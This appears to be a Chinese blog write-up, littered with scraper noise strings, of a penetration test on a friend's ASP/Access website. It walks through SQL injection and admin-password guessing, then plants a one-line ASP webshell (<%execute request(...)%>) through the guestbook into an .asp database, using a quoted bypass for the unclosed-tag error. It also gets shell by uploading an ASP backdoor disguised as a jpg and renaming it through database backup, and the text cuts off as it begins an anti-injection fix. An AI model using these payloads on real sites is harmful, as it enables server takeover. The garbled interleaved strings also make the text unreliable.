[攻防手记]SQL注射漏洞的成因及修补
$Ls0uM vB0最近笔者的朋友接到一个网站的生意,说是给别人做了一个网站, 怕程序出问题。让笔者帮忙检测一下有没有什么注射或者上传之类的漏洞。没有的话就可以交差了。因为只是针对网站来检测漏洞,所以也不需要去旁注或者ARP 什么的。首先打开域名 hxxp://www.target.com/ 打看后一个就知道这程序肯定不是笔者朋友本人写的,好象是什么程序改的,但是又看不出来。打开一个连接随手加个单引号,返回错误了。
4E;F7Zw3x}9O0_08L k&zV&X0e,n6L"`1_G0Microsoft JET Database Engine 错误 '80040e14';字符串的语法错误;在查询表达式 'ID=16'' 中。/viewInfo_c.asp行318,从这个错误提示我们能看出下面几点:IXPUB技术博客HT\k9|Y
dx3xIL"X|
Y0 1、网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。IXPUB技术博客f+z^YK4c#rh
2、程序没有判断客户端提交的数据是否符合程序要求。IXPUB技术博客-w9\ge7d2Pk
3、该SQL语句所查询的表中有一名为ID的字段。IXPUB技术博客e6as7b3Q*oZ~
先说下原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8 这个在IT168安全频道的SQL 注射教程里有详细解释,可以多去看看,学习一下。这里猜密码的过程我就不详细写了,给大家贴一个地址,非常经典的SQL注射教程。
a~g)@C|[;O0 SQL注入天书:
3H#Rk+GRU? x^0 http://publish.it168.com/2006/0224/20060224026802.shtml IXPUB技术博客"o7Fho+lJM@
经过笔者一个小时猜解终于,猜到用户为admin,字段5嘛,肯定是他啦。密码得出的MD5为dc3972bc43b78eea。通过在破解MD5值,密码为CAASD。既然知道密码了就去找后台吧,笔者自己以前收集了一个脚本,就是记录了大概几百个后台地址。遇到一个没见过的就加上虽然现在记不起那么多,但是一些常用的还是记得的。比如admin.asp; admin/admin.asp;admin_admin.asp;Admin_Login.asp;admin/admin_login.asp等等几个,这里就不写了。经过笔者一个个测试确定网站的后台地址为admin_login.asp。
+wP4q v&q;_r s0IXPUB技术博客#B'd#Y@;j:@2c:A-T-|进到后台可以看到网站物理路径为f:\usr\cwd7197\,IIS版本 Microsoft-IIS/5.0,是windows200的机器。
(wdbcZ8ab-r3yE0 组件支持有关参数
w!~0\P2J8X
r7TW0 数据库(ADO)支持: √ (支持)
s%V4|%J
z+`M0 FSO文本读写: √ (支持)
'MN7_;}4HTE;k0 Stream文件流: √ (支持)
e5~*ok$]y}a,N0 Jmail组件支持: √ (支持) IXPUB技术博客2],Cpt1\#rl@
CDONTS组件支持: √ (支持)IXPUB技术博客k%H:p
x:P;gN-o1YH
7Y-}#|8qK/e+j0 粗略的看了下后台支持的东西不多,但是功能还算强大.
yM2K^ C-EYK0.o"f!DV+gn7P0在上传那里笔者发网站使用了一个类似ewebeditor的编辑器,但是又不太像。于是准备确定一下,如果是ewebeditor的话拿到SHELL的机率就更大了。
2l#v!T)xt0(Y/r@Hq0 看到图3有的朋友可能会说,网站后台不是有数据库备份么?为什么不使用呢?其实因为我们是为了挖掘漏洞而来的,使用数据库备份虽然是最快速得到WEBSHELL的方法,但是这样就不知道服务器是否还存在别的漏洞。
hMC&l3XhQt0IXPUB技术博客a3S'mL"k#WK"h2~7G&d笔者在本地写一个一句话 <%execute request("fish")%>然后保存为1.rar,尝试进行上传,因为ewebeditor在线文本编辑编辑器显示RAR文件是相对路径比较清晰,所以一般都是通过上传RAR文件来探测ewebeditor编辑器的地址。在添加新闻那里点添加新信息,然后选择本地文件点上传就OK 了,但是在上传的时候却提示拒绝该后缀文件。
DSxQV[0IXPUB技术博客+h1l"]}7Z看错误提示应该不是ewebeditor了,也没发现upfile.asp或者upload等页面,既然只能上传图片那就不去管他了,点开数据库备份,笔者发现该网站使用的是.asp后缀的数据库,那么在前台留言那里写入一个一个一句话然后连接不知道可以不?于是抱着试试的想法在前台留言那里写入 <%execute request("fish")%>,然后访问数据库页面/db/fujia_data.asp,发现虽然写进去了但是没成功。IXPUB技术博客eaH)]NdA
IXPUB技术博客7~8^}4t5so:P;V 错误提示
5e'tlfDms0 Active Server Pages 错误 'ASP 0116'
F1L'z8P8Ak J([0 缺少关闭脚本分隔符
0G3}Q ^#l0 /db/fujia_data.asp,行56
!_:~]!jtx0 Script. 块缺少脚本关闭标记 (% >) 。IXPUB技术博客Ju2kf{sdg*H.t
;s4\V4P[:tf$x0 应该是数据库里有类似<% loop <% 之类的东西阻碍掉了,没有闭合,少了% >
4M tz+L$qbf7Hv8V0p+i3C9y`!B"x5L)^0 略懂一点asp语法的人都知道"<% loop <%"是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。但是已经有朋友找到可以突破这个错误的方法了,将<% execute request("#")%>a<% 转换成<%execute request("value")%><%'<% loop <%:%>然后在留言那里插入,然后再一次连接数据库,发现插入成功了。
^&ny^x1`B0IXPUB技术博客1CY#P%@9^J yP一句话木马已经成功插进去了,这样成功了拿到WEBSHELL。
$i8T$El2k0${B;F4_5A"mg0 我们回到后台继续看看还有什么可以利用的地方,转了半天也没发现可利用的。看来还是先用数据库备份拿个SHELL 再说,跟朋友要了个ASP大马,然后保存为jpg形式上传,得到上传地址为UploadFile/200818135334.jpg,数据库备份那里路径就写 UploadFile/200818135334.jpg 备份数据库名称写1.asp,然后点备份,成功获得了一个WEBSHELL。IXPUB技术博客*j.RS!S5K(?.P"`
IXPUB技术博客 l2b+msQA {}拿到SHELL 了以后就在想怎么帮朋友修补漏洞,先看存在注射漏洞页viewInfo_c.asp Ctrl+F 搜索“request”一下就跳出来代码了,我们来看看查询是怎么写的?简单解释下代码,如下:IXPUB技术博客-vGf0[u$k7C*p+e#XB
IXPUB技术博客:Shq}W[s ` <%IXPUB技术博客M'b(Yp
k([
dim ID
2v#^%pUn9Q`0 dim rs,sql
Bo&?h"u,i0 ID=request("id") //从客户端获取ID的值IXPUB技术博客a"Se8f2Ub$^
sql = "select * from Info where ID="& ID // 把查询语句赋值给SQL变量IXPUB技术博客V T(ytBQ
Set rs = Server.CreateObject("ADODB.Recordset") //创建记录对象
q#R-@^'tNexl0 rs.open sql,conn,1,1 //执行查询语句
l0LoEJu&~0 if not (rs.eof and rs.bof) then //判断记录是否存在IXPUB技术博客M7xI3i t*}8O2t
%>IXPUB技术博客9Gr%{C9`dj
9S.x&_L7M@-U+U0 我们看到因为程序作者是直接使用request从客户端获取ID的值,并没有对程序进行过滤,也没有对输入的语句进行判断,所以导致存在注射漏洞。而且现在不光是这一个页面存在漏洞,笔者在WEBSHELL里随便打开一个页面搜索request发现全部都是ID=request("id") 并没有进行任何过滤,同样也存在了注射漏洞。IXPUB技术博客:O0b6y%}&hJGqV
IXPUB技术博客a(@(me&`eNG随便又看了几个页面几乎每个页面程序作者都没有对代码进行过滤,一个页面一个页面补肯定是不行了。笔者找到了一个比较经典的“ASP通用防注射代码”直接加到conn.asp里,代码如下:IXPUB技术博客'HU ]Ir!R'b6S
&N/|5Q7Ppe(z&?n0 dim sql_injdata
.x
]^W1|&E